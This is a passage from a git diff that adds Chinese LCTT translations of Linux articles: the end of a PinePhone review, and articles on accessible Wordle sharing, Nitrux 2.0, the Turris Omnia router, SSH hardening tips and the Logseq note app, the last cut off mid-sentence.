工具包,这意味着诸如手势等功能,甚至让应用程序能够适应屏幕的功能,充其量是零散的,最糟糕的是不存在。 + +不过幸运的是,Purism 在默认的 Gnome 应用程序中投入了大量的工作,这些应用程序都是完全可用的,而且速度很快。 + +总的来说,Phosh 是非常可靠的,特别是对于台式机和笔记本电脑上的 Gnome 用户。然而,它也因为缺乏核心的移动功能和优化的应用程序而受到阻碍。 + +#### Lomiri + +![Lomiri on the PinePhone][8] + +我怀疑你是否听说过它,因为它最近才改了名字。它以前被称为 Unity 8,是 Ubuntu Touch 操作系统的默认桌面环境。它也可以在 Manjaro ARM 上使用。 + +由于使用 Qt Quick 构建,它可能是 PinePhone 最成熟的桌面环境。它很好地利用了手势来实现核心系统功能,并且有大量专门为它制作的应用程序。 + +然而,它的缺点是只能在 Ubuntu Touch 上使用,因为没有一个应用程序被移植到 Manjaro。因此,它的用户受制于 Ubuntu Touch 的“锁定”风格,类似于安卓和 iOS。 + +虽然这对典型的用户来说可能是件好事,但 PinePhone 的用户一般都是喜欢控制自己设备的手工爱好者,而 Ubuntu Touch 则使其变得更加困难。 + +### 操作系统 + +与任何以 Linux 为主的设备一样,它有大量的发行版和操作系统可用。在写这篇文章的时候,Pine64 维基列出了 21 个单独的操作系统,它们的完整度各有不同。 + +然而,在这些不同的操作系统中,有四个我在 PinePhone 上有很好的体验: + + * Manjaro ARM + * Mobian + * SailfishOS + * Ubuntu Touch + +虽然我不打算详细介绍它们,但它们都是很好的选择,对于大多数任务来说都是完美的功能。除了 SailfishOS 之外,它们都是开源的,而 SailfishOS 大部分是开源的。 + +### 关于安卓应用程序的说明 + +正如你现在可能已经猜到的,应用程序的支持可能有点问题。即使看到 PinePhone 上有近 400 个确认可以使用的应用程序,但与安卓和 iOS 的数百万个应用程序相比,这也是相形见绌。 + +幸运的是,有一些方法可以解决这个问题,最简单的是使用兼容层来模拟安卓应用。在这方面,Anbox 已经成为几年来的首选。 + +#### Anbox + +如果说 WINE 是 Windows 的兼容层,那么 Anbox 对 Android 也是如此。安装后,或打开它,因为它预装在许多发行版中,就像运行一个命令来安装一个 APK 文件一样简单。 + +从这里开始,该应用程序的行为就像任何 Linux 应用程序一样,尽管在性能上有很大的影响。 + +最近,有一群人决定解决这个问题,创建了一个名为 Waydroid 的新项目。 + +#### Waydroid + +Waydroid 是为 PinePhone 开发的安卓模拟器的最新尝试,即使在这个早期阶段,它看起来也非常有发展前景。由于安卓应用可以直接在硬件上运行,它的性能相当惊人,特别是与 Anbox 相比。 + +因此,许多极为流行的应用程序都能完美运行,如 F-Droid 和 Aurora 商店。 + +此外,通过 Waydroid 安装的应用程序被很好地整合到 Linux 中,它们能够像其他应用程序一样被打开和关闭。 + +### 我对 PinePhone 的总体看法 + +在我使用它的过程中,我花时间使用了几乎所有可用于它的不同操作系统,以及每个桌面环境。正如我之前所说,它的性能一般都很差,尽管 Lomiri 和 Plasma Mobile 足够流畅。 + +我不经常拍照,所以相机的使用频率很低。然而,当我拍摄照片时,它们通常够用了,即使相片质量并不特别高。 + +总的来说,我认为 PinePhone 的最大弱点实际上是它的电池续航。这是因为即使只是打开它查看一下时间,也会唤醒调制解调器,导致电池迅速耗尽,除非我尽量不打开它。 + +幸运的是,我总是确保随身携带一块备用电池,我可以通过取下后盖换入。此外,我还可以插入一张 SD 卡,用作额外的存储空间或测试新的操作系统。 + +正如预期的,PinePhone 并不防水,但我发现在雨中使用它似乎没有任何损害,尽管你的经历可能有所不同。当我在室内时,我经常发现自己会借助它附带的底座来使用它的外部显示器。 + +在这种设置下,我对 PinePhone 作为一台笔记本电脑的能力感到惊讶。我经常发现自己可以在 LibreOffice 中编辑文件,甚至有一次还能用 Kdenlive 编辑了一段视频! + +总的来说,即使有一些不足,我与 PinePhone 相处的这一年也很顺利,我从来没有发现自己对安卓的渴望。 + +### 获得 PinePhone + +如果你想获得一台 PinePhone,下面有一个按钮,可以带你到 Pine64 的网站。在写这篇文章的时候,有两种型号可供选择,一种是 16GB 的存储空间和 2GB 的内存。另一个型号有 32GB 的存储空间和 3GB 的内存。(LCTT 译注:应该是不向中国发货的。) + +本评论中使用的型号是 3GB 版本,价格为 199 美元。2GB 型号的价格为 149 美元。 + +- [获取 PinePhone][9] + +我们只希望即将推出的 PinePhone Pro 能以其更强大的硬件保持这种积极的趋势! + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/pinephone-review/ + +作者:[Jacob Crume][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/jacob/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/linux-phones/ +[2]: https://github.com/agx/phosh +[4]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/PinePhone-Battery.jpg?resize=1568%2C882&ssl=1 +[5]: https://lomiri.com/ +[6]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/pinephone_plasma-mobile.jpg?resize=440%2C300&ssl=1 +[7]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/pinephone-phosh.jpg?resize=448%2C295&ssl=1 +[8]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/pinephone-lomiri-edited.jpg?resize=204%2C362&ssl=1 +[9]: https://pine64.com/product-category/pinephone/ diff --git a/published/202202/20220130 Open source tools to make your Wordle results accessible.md b/published/202202/20220130 Open source tools to make your Wordle results accessible.md new file mode 100644 index 0000000000..86458cde2d --- /dev/null +++ b/published/202202/20220130 Open source tools to make your Wordle results accessible.md @@ -0,0 +1,84 @@ +[#]: subject: "Open source tools to make your Wordle results accessible" +[#]: via: "https://opensource.com/article/22/1/open-source-accessibility-wordle" +[#]: author: "AmyJune Hineline https://opensource.com/users/amyjune" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14268-1.html" + +无障碍分享你的 Wordle 结果的开源工具 +====== + +> 分享你的 Wordle 结果是有趣的。尝试这些开源技巧让它们可以无障碍分享。 + +![](https://img.linux.net.cn/data/attachment/album/202202/13/154452or9r33xjtzrjoj6b.jpg) + +Wordle 似乎在社交媒体上到处出现。Wordle 是一个快速的文字游戏,你可以每天玩一次,你可以很容易地通过社交媒体与朋友分享结果。 + +Wordle 的目的是猜测一个秘密单词。要进行猜测,需要输入一个单词,然后 Wordle 在一个由彩色编码的表情符号组成的网格中显示你的猜测结果。绿色表示一个字母在正确的位置。黄色表示密语中包含该字母,但它在错误的位置。灰色表示该字母根本就不在这个词中。 + +![Sample of wordle results displaying colors for letter position][2] + +人们通过将产生的字母网格粘贴到社交媒体上来分享他们在游戏中的进展,这很容易做到,因为这个网格只是 [一组表情符号][3]。然而,表情图标和表情符存在无障碍问题。虽然它们很容易复制和粘贴,但对于生活在低视力或色盲的人来说,共享的结果可能很难看清。灰色、黄色、绿色的颜色对一些人来说可能很难区分。 + +![Wordle results statistics][4] + +受到与 Mike Lim 谈话的启发,我在互联网上做了一些探究,发现了一些提示,包括一个帮助改善共享游戏结果的无障碍性的开源项目。 + +### 使用一个开源的无障碍应用 + +[wa11y 应用][5] 的使用很简单。你可以在 [这里][6] 找到 wa11y GitHub 项目。复制你的 Wordle 结果并将其粘贴到应用中,它就会将你的结果转换为文字。 + +![Emoji converted to words][7] + +你可以简单地勾选复选框来包含表情符号,以表示成功猜测,但该项目维护者不建议这样做。辅助技术非常喜欢表情符号,以至于它会读取每一个表情符号。内联地、全部读取。尽管技术圈喜欢阅读它们,但使用辅助技术的人可能会发现它很麻烦,并经常放弃有几个以上的表情符号的信息。 + +![Words and emoji included in the output][8] + +![Emojis are beautiful, but can be frustrating for folks who use screen readers and other accessibility tools. Please consider your audience on social media.][9] + +### 提供无障碍图片 + +也许你不能使用 wa11y 应用,但仍然想确保你的结果是无障碍访问的。你可以进行截图,上传图片,并添加替代文本。你有几种方法可以做到这一点: + + * 附上图片,并在信息栏中写上替代文本。 + * 附上图片并深入到你的特定社交媒体应用的无障碍选项中,启用替代文本并从那里添加。开源社交网络 [Mastodon][10] 默认启用实际的替代文本。 + * [@AltTxtReminder][11] 是一个你可以关注的账户,当你忘记时,它会提醒你为图片添加替代文本。 + +如果你分享了默认结果,你总是可以选择在表情符号之前添加替代文本。这样,你的受众就可以获得文字信息,但在重复的表情符号变得繁琐之前,可以中止信息的其余部分。 + +![Twitter wordle results without text][12] + +![Twitter results with descriptive explanation of results][13] + +### 总结 + +Wordle 是最近互联网上的一个热门游戏,所以在分享你的结果时,一定要记住无障碍分享。有一些使用开源技术的简单方法可以使你的结果更容易与大家分享。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/open-source-accessibility-wordle + +作者:[AmyJune Hineline][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/amyjune +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/OSDC_women_computing_5.png?itok=YHpNs_ss (Women in computing and open source v5) +[2]: https://opensource.com/sites/default/files/apple.png +[3]: https://opensource.com/article/19/10/how-type-emoji-linux +[4]: https://opensource.com/sites/default/files/statistics.png +[5]: http://wa11y.co/ +[6]: https://github.com/cariad/wa11y.co +[7]: https://opensource.com/sites/default/files/do-not-include-emoji.png +[8]: https://opensource.com/sites/default/files/include-emoji.png +[9]: https://opensource.com/sites/default/files/wa11y_0.png +[10]: https://opensource.com/article/17/4/guide-to-mastodon +[11]: https://twitter.com/alttxtreminder +[12]: https://opensource.com/sites/default/files/twitter.png +[13]: https://opensource.com/sites/default/files/twitter-with-ords.png diff --git a/published/202202/20220131 Nitrux 2.0 Features XanMod Kernel 5.16.3 as Default and Adds Visual Tweaks to the Desktop Experience.md b/published/202202/20220131 Nitrux 2.0 Features XanMod Kernel 5.16.3 as Default and Adds Visual Tweaks to the Desktop Experience.md new file mode 100644 index 0000000000..b38f0b8c09 --- /dev/null +++ b/published/202202/20220131 Nitrux 2.0 Features XanMod Kernel 5.16.3 as Default and Adds Visual Tweaks to the Desktop Experience.md @@ -0,0 +1,88 @@ +[#]: subject: "Nitrux 2.0 Features XanMod Kernel 5.16.3 as Default and Adds Visual Tweaks to the Desktop Experience" +[#]: via: "https://news.itsfoss.com/nitrux-2-0-release/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14237-1.html" + +最漂亮的 Linux 发行版之一 Nitrux 2.0 发布 +====== + +> Nitrux 2.0.0 是一个令人兴奋的版本,它默认采用 XanMod 内核,并 带来了其他各种视觉和技术改进。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/nitrux-os-2-0.png?w=1200&ssl=1) + +Nitrux Linux 轻松成为了 [最漂亮的 Linux 发行版][1] 之一。 + +上个月,我们点评了 [Maui Shell][2],它也是由 Nitrux Linux 背后的团队所设计的。现在,Nitrux 2.0.0 已经发布,并带来了一些令人兴奋的变化。 + +让我在这里重点介绍一下基本变化。 + +### Nitrux 2.0.0 有什么新东西? + +这次升级包括一个新的 Linux 内核、更新的应用程序、桌面环境、固件改进,以及大大减小了 ISO 的大小。 + +你还会注意到布局和顶部面板等几处细微视觉变化。 + +### XanMod 内核 5.16.3 + +![][3] + +XanMod 内核是为新一代硬件量身定做的,以获得尽可能好的桌面体验。 + +与许多其他 Linux 发行版中自带的 Linux 内核相比,你会发现它有一些自定义设置和新功能,可以提高你的使用体验。 + +在 Nitrux 2.0.0 中,默认选择了 XanMod 内核 5.16.3。当然你仍然可以选择最新的主线 LTS 或非 LTS(5.15.17、5.16.3)Linux 内核。 + +别忘了,如果你需要,你还可以安装 Liquorix 和 Libre 内核。 + +### 更新布局和面板的变化 + +顶部面板现在显示了窗口控制、标题、全局菜单和系统托盘区。 + +布局仍然与以前的版本相似,但有一些位置的调整,比如将应用程序菜单添加到基座dock中,应用程序菜单是 Launchpad Plasma(感谢 [adhe][4])。 + +![][3] + +此外,你应会发现窗口装饰有了改进,所有窗口现在默认都是无边框的。你可以在外观设置下的窗口装饰选项中选择禁用无边框窗口模式。 + +可选的 Latte 布局也得到了更新,包括窗口控制、标题栏和全局菜单。 + +### 更新的软件包和驱动程序 + +出于显而易见的原因,这次升级包括 KDE Plasma 版本更新、KDE 框架、KDE 装备,以及其他必要的应用程序,如 Firefox 和 LibreOffice。 + +此外,为 AMD GPU 增加了内核软件包中没有的额外固件。他们还在可下载的 ISO 中增加了 i915、Nouveau 和 AMDGPU 驱动。 + +默认使用的是 MESA 21.3.5 稳定版,但如果你需要的话,可以安装最新的 MESA 22.0。 + +### 其他改进 + +在 Nitrux Linux 的这些变化之外,还有一些额外的技术改进,如: + + * 减少了标准版和精简版的 ISO 文件大小。 + * Xbox One 控制器的工作原理与操纵杆没有冲突。 + * 在精简版 ISO 中,JWM 取代了 i3 窗口管理器。 + +更多细节,你可以参考 [官方公告][5]。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/nitrux-2-0-release/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/beautiful-linux-distributions/ +[2]: https://news.itsfoss.com/maui-shell-unveiled/ +[3]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/nitrux-2-about.png?resize=1568%2C882&ssl=1 +[4]: https://www.pling.com/u/adhe/ +[5]: https://nxos.org/changelog/release-announcement-nitrux-2-0-0/#download diff --git a/published/202202/20220131 Try Turris Omnia, the open source router.md b/published/202202/20220131 Try Turris Omnia, the open source router.md new file mode 100644 index 0000000000..35f13772e9 --- /dev/null +++ b/published/202202/20220131 Try Turris Omnia, the open source router.md @@ -0,0 +1,92 @@ +[#]: subject: "Try Turris Omnia, the open source router" +[#]: via: "https://opensource.com/article/22/1/turris-omnia-open-source-router" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14278-1.html" + +Turris Omnia:一个黑客喜欢的开源路由器 +====== + +> 无论你是一个网络工程师还是一个好奇的爱好者,当你在市场上购买网络设备时,都你应该看看开源的 Turris Omnia 路由器。 + +在 21 世纪初,我对 OpenWrt 很着迷,只想在自己的路由器上运行它。不幸的是,我没有一个能够运行自定义固件的路由器,所以我花了很多周末去旧货地摊,希望能偶然发现一个 “Slug”(黑客们对 NSLU2 路由器的俚语),但这是徒劳的。最近,我买到了 Turris Omnia,除了有一个更酷的名字外,它是一个来自捷克的路由器,使用建立在 OpenWrt 之上的开源固件。它拥有你对运行开源硬件所期望的一切,而且还有很多东西,包括可安装的软件包,因此你可以准确地添加你的家庭或企业网络最需要的东西,而忽略你不会使用的部分。如果你认为路由器是简单的设备,没有定制的余地,甚至除了 DNS 和 DHCP 之外没有其他用途,那么你需要看看 Turris Omnia。它将改变你对路由器是什么的看法,路由器能为你的网络做什么,甚至是你与整个网络的互动方式。 + +![The Turris Omnia on my desk][2] + +### 开始使用 Turris Omnia + +尽管 Turris Omnia 的功能很强大,但它给人的感觉却很熟悉。开始使用的步骤与任何其他路由器基本相同: + + 1. 打开电源 + 2. 加入它提供的网络 + 3. 在网络浏览器中进入 192.168.1.1 进行配置 + +如果你过去买过路由器,你以前会执行过这些相同的步骤。如果你不熟悉这个过程,要知道它并不比任何其他路由器复杂,而且里面有足够的文档。 + +![Configuration][4] + +### 简单和高级配置 + +在初始设置之后,当你进入 Turris Omnia 路由器时,你可以选择简单配置环境或高级配置。你必须从简单配置开始。在密码Password面板中,你可以为高级界面设置一个密码,这也可以让你对路由器进行 SSH 访问。 + +简单界面让你配置如何连接到广域网(WAN),并为你的局域网(LAN)设置参数。它还允许你设置一个个人 WiFi 接入点、一个访客网络,以及安装插件并与之互动。 + +它所声称的高级界面叫做 LuCI。它是为熟悉网络拓扑和设计的网络工程师设计的,它基本上是一个键值对的集合,你可以通过一个简单的网络界面进行编辑。如果你喜欢直接编辑数值,你可以用 SSH 进入路由器。 + +``` +$ ssh root@192.168.1.1 +root@192.168.1.1's password: + +BusyBox v1.28.4 () built-in shell (ash) + + ______ _ ____ _____ + /_ __/_ ____________(_)____ / __ \/ ___/ + / / / / / / ___/ ___/ / ___/ / / / /\__ + / / / /_/ / / / / / (__ ) / /_/ /___/ / + /_/ \__,_/_/ /_/ /_/____/ \____//____/ + + ----------------------------------------------------- + TurrisOS 4.0.1, Turris Omnia + ----------------------------------------------------- +root@turris:~# +``` + +### 插件 + +除了界面的灵活性之外,Turris Omnia 还有一个包管理器。你可以安装插件,包括网络附加存储(NAS)配置、Nextcloud 服务器、SSH 蜜罐、速度测试、OpenVPN、打印服务器、Tor 节点、运行容器的 LXC 等等。 + +![Package management for your router][5] + +只需点击几下,你就可以安装自己的 [Nextcloud][6] 服务器,这样你就可以运行自己的云服务或 OpenVPN,这样你就可以在离家时安全地访问你的网络。 + +### 开源路由器 + +这个路由器最好的部分是它是开源的,并且通过开源提供支持。你可以从他们的 [gitlab.nic.cz][7] 下载 Turris 操作系统和许多相关的开源工具。你也不必满足于设备上的固件。有了 2GB 的内存和 miniPCIe 插槽,你可以在上面运行 Debian。甚至前面板上的 LED 灯也是可编程的。这是一个黑客的路由器,无论你是一个网络工程师还是一个好奇的业余爱好者,当你在市场上购买网络设备时,你都应该看一看它。 + +你可以从 [turris.com][8] 网站上获得 Turris Omnia 和其他几个型号的路由器,然后加入 [forum.turris.cz][9] 的社区。他们是一群友好的爱好者,热衷于分享知识、技巧和很酷的黑客技术,以促进你对开源路由器的使用。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/turris-omnia-open-source-router + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/mesh_networking_dots_connected.png?itok=ovINTRR3 (Mesh networking connected dots) +[2]: https://opensource.com/sites/default/files/uploads/turris-omnia.jpg (The Turris Omnia on my desk) +[3]: https://creativecommons.org/licenses/by-sa/4.0/ +[4]: https://opensource.com/sites/default/files/uploads/turris-omnia-wifi.jpg (Configuration) +[5]: https://opensource.com/sites/default/files/uploads/turris-omnia-packages.jpg (Package management for your router) +[6]: https://opensource.com/tags/nextcloud +[7]: https://gitlab.nic.cz/turris +[8]: https://www.turris.com/en/ +[9]: http://forum.turris.cz diff --git a/published/202202/20220201 3 ways I configure SSH for privacy.md b/published/202202/20220201 3 ways I configure SSH for privacy.md new file mode 100644 index 0000000000..44e37c6080 --- /dev/null +++ b/published/202202/20220201 3 ways I configure SSH for privacy.md @@ -0,0 +1,122 @@ +[#]: subject: "3 ways I configure SSH for privacy" +[#]: via: "https://opensource.com/article/22/2/configure-ssh-privacy" +[#]: author: "Jonathan Garrido https://opensource.com/users/jgarrido" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14291-1.html" + +保护 SSH 的 3 个技巧 +====== + +> 以下是我如何优化我的 SSH 体验并保护我的服务器不被非法访问。 + +![](https://img.linux.net.cn/data/attachment/album/202202/21/113550dfgtdgtfjihqfifh.jpg) + +SSH(安全 Shell)是一个协议,它使你能够创建一个经过验证的私人连接,并使用加密密钥保护通道,在另一台机器上启动一个远程 Shell。使用这种连接,你可以执行远程命令,启动安全文件传输,转发套接字、显示和服务,等等。 + +在 SSH 出现之前,大多数远程管理是通过 telnet 完成的,公平地说,一旦你能建立一个远程会话,你几乎可以做任何你需要的事情。这个协议的问题是,通讯是以纯明文的方式进行的,没有经过加密。使用 [流量嗅探器][2] 不需要太多努力就可以看到一个会话中的所有数据包,包括那些包含用户名和密码的数据包。 + +有了 SSH,由于使用了非对称密钥,参与通信的设备之间的会话是加密的。如今,这比以往任何时候都更有意义,因为所有的云服务器都是由分布在世界各地的人管理的。 + +### 3 个配置 SSH 的技巧 + +SSH 协议最常见的实现是 OpenSSH,它由 OpenBSD 项目开发,可用于大多数 Linux 和类 Unix 操作系统。一旦你安装了这个软件包,你就会有一个名为 `sshd_config` 的文件来控制该服务的大部分行为。其默认设置通常是非常保守的,但我倾向于做一些调整,以优化我的 SSH 体验,并保护我的服务器不被非法访问。 + +### 1、改变默认端口  + +这是一个并非所有管理员都记得的问题。任何有端口扫描器的人都可以发现一个 SSH 端口,即使你之后把它移到别的端口,所以你很难把自己从危险中移除,但这样却会有效的避免了数百个针对你的服务器扫描的不成熟脚本。这是一个可以让你省心,从你的日志中减去大量的噪音的操作。 + +在写这篇文章时,我在一个云服务提供商上设置了一个 SSH 服务器,默认端口 TCP 22,每分钟平均被攻击次数为 24 次。在将端口改为一个更高的数字,即 TCP 45678 后,平均每天有两个连接并用各种用户名或密码进行猜测。 + +要改变 SSH 的默认端口,在你喜欢的文本编辑器中打开 `/etc/ssh/sshd_config`,将 `Port` 的值从 22 改为大于 1024 的某个数字。这一行可能被注释了,因为 22 是默认的(所以不需要在配置中明确声明),所以在保存之前取消注释。 + +``` +Port 22122 +#AddressFamily any  +#ListenAddress 0.0.0.0  +#ListenAddress :: + +``` + +一旦你改变了端口并保存了文件,重新启动 SSH 服务器: + +``` +$ sudo systemctl restart sshd +``` + +### 2、不要使用密码 + +现在有一个普遍的潮流是停止使用密码作为认证手段,双因素认证等方法越来越受欢迎。OpenSSH 可以使用非对称密钥进行认证,因此不需要记住复杂的密码,更不需要每隔几个月轮换一次密码,也不需要担心有人在你建立远程会话时进行“肩后偷窥”。使用 SSH 密钥可以让你快速、安全地登录到你的远程设备上。这往往意味着花费在错误的用户名和密码上的时间更少。登录令人愉快的简单。当没有密钥时,就没有入口,甚至没有提示符。 + +要使用这个功能,你必须同时配置客户机(在你面前的计算机)和服务器(远程机器)。 + +在客户端机器上,你必须生成一个 SSH 密钥对。这包括一个公钥和一个私钥。正如它们的名字所暗示的,一个公开的密钥是供你分发给你想登录的服务器的,另一个是私人的密钥,必须不与任何人分享。使用 `ssh-keygen` 命令可以创建一个新的密钥对,并使用 `-t` 选项来指定一个好的、最新的密码学库,如 `ed25519`: + +``` +$ ssh-keygen -t ed25519     + Generating public/private ed25519 key pair.  + Enter file in which to save the key (~/.ssh/id_ed25519): +``` + +在密钥创建过程中,你会被提示为文件命名。你可以按回车键来接受默认值。如果你将来创建了更多的密钥,你可以给每个密钥起一个自定义的名字,但有多个密钥意味着你要为每次交互指定使用哪个密钥,所以现在只要接受默认即可。 + +你还可以给你的密钥一个口令。这可以确保即使别人设法获得你的私钥(这本身就不应该发生),没有你的口令,他们也无法将其投入使用。这对某些密钥来说是一种有用的保护措施,而对其他密钥来说则不合适(特别是那些用于脚本的密钥)。按回车键让你的密钥没有口令,或者你选择创建一个口令。 + +要把你的密钥复制到服务器上,使用 `ssh-copy-id` 命令。例如,如果我拥有一台名为 `example.com` 的服务器,那么我可以用这个命令把我的公钥复制到它上面: + +``` +$ ssh-copy-id jgarrido@example.com +``` + +这将在服务器的 `.ssh` 目录下创建或修改 `authorized_keys` 文件,其中包含你的公钥。  + +一旦确认 `ssh-copy-id` 命令完成了它所做的事情,尝试从你的电脑上登录,以验证你可以在没有密码的情况下登录(或者如果你选择使用你的密钥的口令,就输入密钥口令)。 + +在没有使用你的服务器帐户的密码登录到你的服务器上后,编辑服务器的 `sshd_config` 并将 `PasswordAuthentication` 设置为 `no`。 + +``` +PasswordAuthentication no +``` + +重新启动 SSH 服务以加载新的配置: + +``` +$ sudo systemctl restart sshd +``` + +### 3、决定谁可以登录 + +大多数发行版不允许 root 用户通过 SSH 登录,这确保只有非特权账户是活跃的,根据需要使用 `sudo` 命令来提升权限。这就防止了一个明显的、令人痛苦的目标(root)受到简单而常见的脚本攻击。 + +同样,OpenSSH 的一个简单而强大的功能是能够决定哪些用户可以登录到一台机器。要设置哪些用户被授予 SSH 访问权,在你最喜欢的文本编辑器中打开 `sshd_config` 文件,并添加这样一行: + +``` +AllowUsers jgarrido jane tux +``` + +重新启动 SSH 服务以加载新的配置选项。 + +这只允许三个用户(`jgarrido`、`jane` 和 `tux`)登录或在远程机器上执行任何操作。 + +### 总结 + +你可以使用 OpenSSH 来实现一个强大而稳健的 SSH 服务器。这些只是加固你的系统的三个有用的选项。尽管如此,在 `sshd_config` 文件中仍有大量的功能和选项可以打开或关闭,而且有许多很棒的应用程序,如 [Fail2ban][3],你可以用来进一步保护你的 SSH 服务。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/2/configure-ssh-privacy + +作者:[Jonathan Garrido][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jgarrido +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/privacy_keyboard_security.jpg?itok=vZ9jFdK_ (A keyboard with privacy written on it.) +[2]: https://www.redhat.com/sysadmin/troubleshoot-network-dhcp-configuration +[3]: https://opensource.com/life/15/7/pipe-dreams diff --git a/published/202202/20220201 Logseq- A Free - Open-Source App to Create Notes, Manage Tasks, Build Knowledge Graph, and More.md b/published/202202/20220201 Logseq- A Free - Open-Source App to Create Notes, Manage Tasks, Build Knowledge Graph, and More.md new file mode 100644 index 0000000000..ed1f551544 --- /dev/null +++ b/published/202202/20220201 Logseq- A Free - Open-Source App to Create Notes, Manage Tasks, Build Knowledge Graph, and More.md @@ -0,0 +1,113 @@ +[#]: subject: "Logseq: A Free & Open-Source App to Create Notes, Manage Tasks, Build Knowledge Graph, and More" +[#]: via: "https://itsfoss.com/logseq/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14258-1.html" + +Logseq:创建笔记、管理任务、构建知识图谱 +====== + +> Logseq 是一个多功能的知识平台,支持 Markdown 和 Org 模式。你可以创建任务、管理笔记,并利用它们做更多的事情。 + +在信息时代,适当地组织你的思想、任务清单和任何其他与你的工作/个人生活有关的笔记是至关重要的。 + +虽然我们中的一些人选择使用单独的应用程序和服务,但使用一个一体化的、开源的、对隐私友好的应用程序来做这一切不是更好? + +这就是 Logseq 出现的地方。 + +![][1] + +### Logseq:支持 Markdown & Org 模式的隐私友好知识平台 + +Logseq 旨在帮助你组织、创建待办事项清单,并建立一个知识图谱。 + +你可以使用现有的 Markdown 或 Org 模式文件来简单地编辑、编写和保存任何新的笔记。 + +官方称,Logseq 仍处于测试阶段,但自从进入 alpha 阶段以来,它就得到了广泛赞誉。 + +它也可以成为 [黑曜石][2] 的一个不错的开源替代品。默认情况下,它依赖于你的本地目录,但你可以选择任何云目录来通过你的文件系统进行同步。所以,你的数据在你控制之中。 + +如果你没有设置任何云存储,你可以尝试使用 [Rclone][3]、[Insync][4],甚至是 [rsync 命令][5]。 + +![][6] + +Logseq 具备强大的能力,也支持插件来进一步扩展功能。让我强调一些关键的功能来帮助你决定。 + +### Logseq 的功能 + +![][7] + +Logseq 提供了一个知识应用平台的所有基本要素。以下是你可以从它那里得到的东西: + + * Markdown 编辑器 + * 支持 Org 模式文件 + * 反向链接 + * 页面和块引用(链接它们) + * 页面和块嵌入,以添加引文/参考文献 + * 支持添加任务和待办事项清单 + * 能够按优先级或按字母顺序添加任务 + * 发布页面并使用本地主机或 GitHub 页面访问它 + * 支持高级命令 + * 能够从你现有的资源中创建一个模板来重新使用它 + * 页面别名 + * PDF 高亮 + * 创建卡片并快速回顾以记住东西 + * Excalidraw 集成 + * Zotero 集成 + * 通过简单地创建一个 `custom.css` 文件添加一个自定义主题,也有可用的社区制作的文件供快速使用 + * 自定义键盘快捷方式 + * 自我托管 Logseq 的能力 + * 跨平台支持 + +尽管这是一个测试版软件,但在我简短的测试中,它可以如预期的工作。我不是一个资深用户,没有检查它令人印象深刻的知识图谱功能,但如果你有许多 Markdown 笔记,你可以添加它们、链接它们,并看看生成的图谱。 + +我能够添加任务、链接页面、添加引用、嵌入页面,查看现有数据的知识图谱。 + +你可以随时从插件市场上改变主题,并使用插件增加功能,这应该有助于你为你的工作流程提供个性化的体验。 + +![][8] + +我发现它非常容易使用,而且如果你在某个地方卡住了,[文档][9] 很好地解释了一切。 + +### 在 Linux 中安装 Logseq + +你可以在它的 [GitHub 发布区][10] 中找到预发布和测试版本的 AppImage 文件。此外,你也应该在 [Flathub][11] 上找到它的列表。因此,你可以在你选择的任何 Linux 发行版上安装它。 + +如果你需要帮助,你可能想参考我们的 [AppImage][12] 和 [Flatpak 指南][13]来开始。 + +无论哪种情况,你都可以前往它的 [官方网页][14] 了解更多信息。 + +- [Logseq][14] + +你试过 